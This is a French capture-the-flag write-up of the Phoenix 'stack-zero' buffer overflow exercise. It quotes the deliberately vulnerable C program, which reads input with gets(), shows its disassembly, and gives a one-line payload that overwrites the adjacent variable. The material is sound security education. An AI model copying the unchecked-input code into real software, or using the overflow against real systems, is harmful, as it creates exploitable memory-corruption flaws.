kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 0
[ 18/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-zero/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Variables et Stack [3 - Méthodologie pour l'exploitation [4 - Exploitation de la vulnérabilité [5 - Conclusion ---
[0 - Énoncé :
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the alloca- ted memory can modify program execution.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-zero, by https://exploit.education * * The aim is to change the contents of the changeme variable. * * Scientists have recently discovered a previously unknown species of * kangaroos, approximately in the middle of Western Australia. These * kangaroos are remarkable, as their insanely powerful hind legs give them * the ability to jump higher than a one story house (which is approximately * 15 feet, or 4.5 metres), simply because houses can't can't jump. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *gets(char *); int main(int argc, char **argv) { struct { char buffer[64]; volatile int changeme; } locals; printf("%s\n", BANNER); locals.changeme = 0; gets(locals.buffer); if (locals.changeme != 0) { puts("Well done, the 'changeme' variable has been changed!"); } else { puts( "Uh oh, 'changeme' has not yet been changed. Would you like to try " "again?"); } exit(0); }
Le programme comporte une struture nommée locals composées de deux variables, un tableau de 64 chars noté buffer et un integer volatile noté changeme. La fonction gets() est ap- pelée sur l'élément buffer de la sructure, puis, l'élément changeme est comparé à 0. Si changeme n'est pas égale à 0, l'exercice est réussi, sinon, il faut réessayer.
[1.2 - Identification de la vulnérabilité
Le but ici est donc de modifier changeme par le biai d'un appel à la fonction gets(). Si on consulte le man de gets(), on peut noter les commentaires suivants : No check for buffer overrun is performed (see BUGS below). Never use this function. LSB deprecates gets(). POSIX.1-2008 marks gets() obsolescent. It has been used to break computer security. Use fgets() instead.
[2 - Variables et Stack
On apprend que la fonction est vulnérable au "buffer overrun" et qu'elle ne devrait plus être utilisée. On devrait donc pouvoir grâce à ce buffer overrun atteindre la variable changeme et valider la condition changeme != 0. Cela suppose que la disposition en mémo- ire de notre structure locals est telle qu'il est possible de déborder sur le deuxième élément lorsque l'espace mémoire alloué pour le premier est insuffisant. On peut vérifier cette supposition en désassemblant notre programme :
user@phoenix-amd64:/opt/phoenix/amd64$ gdb -q stack-zero (gdb) disas main Dump of assembler code for function main: 0x00000000004005dd <+0>: push rbp 0x00000000004005de <+1>: mov rbp,rsp 0x00000000004005e1 <+4>: sub rsp,0x60 0x00000000004005e5 <+8>: mov DWORD PTR [rbp-0x54],edi 0x00000000004005e8 <+11>: mov QWORD PTR [rbp-0x60],rsi 0x00000000004005ec <+15>: mov edi,0x400680 0x00000000004005f1 <+20>: call 0x400440 <puts@plt> 0x00000000004005f6 <+25>: mov DWORD PTR [rbp-0x10],0x0 0x00000000004005fd <+32>: lea rax,[rbp-0x50] 0x0000000000400601 <+36>: mov rdi,rax 0x0000000000400604 <+39>: call 0x400430 <gets@plt> 0x0000000000400609 <+44>: mov eax,DWORD PTR [rbp-0x10] 0x000000000040060c <+47>: test eax,eax 0x000000000040060e <+49>: je 0x40061c <main+63> 0x0000000000400610 <+51>: mov edi,0x4006d0 0x0000000000400615 <+56>: call 0x400440 <puts@plt> 0x000000000040061a <+61>: jmp 0x400626 <main+73> 0x000000000040061c <+63>: mov edi,0x400708 0x0000000000400621 <+68>: call 0x400440 <puts@plt> 0x0000000000400626 <+73>: mov edi,0x0 0x000000000040062b <+78>: call 0x400450 <exit@plt> End of assembler dump.
On retrouve la variable buffer en rbp-0x50 et la variable changeme en rbp-0x10 qui sont toutes deux stockées sur la stack. La stack est une structure de données type LIFO Last In First Out, elle grandie vers les adresses basses au fur et à mesure qu'on y empile les valeurs. Ainsi, tout surplus de données dans la variable buffer, disposée au dessus de changeme, écasera la variable changeme stockée plus bas dans la stack. Noter que sans le type volatile de la variable changeme, le compilateur n'aurait pas f- orcément agencé les variables de cette manière, il aurait même probablement décidé de la supprimer sachant qu'elle n'est pas nécessaire au bon fonctionnement du programme. L'utilisation du mot clé volatile empêche toutes ces optimisaions du compilateur, sans quoi, il aurait été impossible de résoudre l'exercice.
[3 - Méthodologie d'exploitation
64 octets ont été alloués à la variable buffer, pour écraser changeme, il nous suffit de donner en entrée au programme une payload dont la longueur est supérieure à 64.
[4 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ python -c 'print "A" * 64 + "l33t"' | ./stack-zero Welcome to phoenix/stack-zero, brought to you by https://exploit.education Well done, the 'changeme' variable has been changed!
[5 - Conclusion
Ce premier exercice introduit les fondements des buffer overflow et permet d'appréhender la dispostion des variables sur la stack et la possibilités de déborder sur l'élément suivant lorsque l'entrée utilisateur n'est pas correctement contrôlée.

Tout est faux tout est conforme.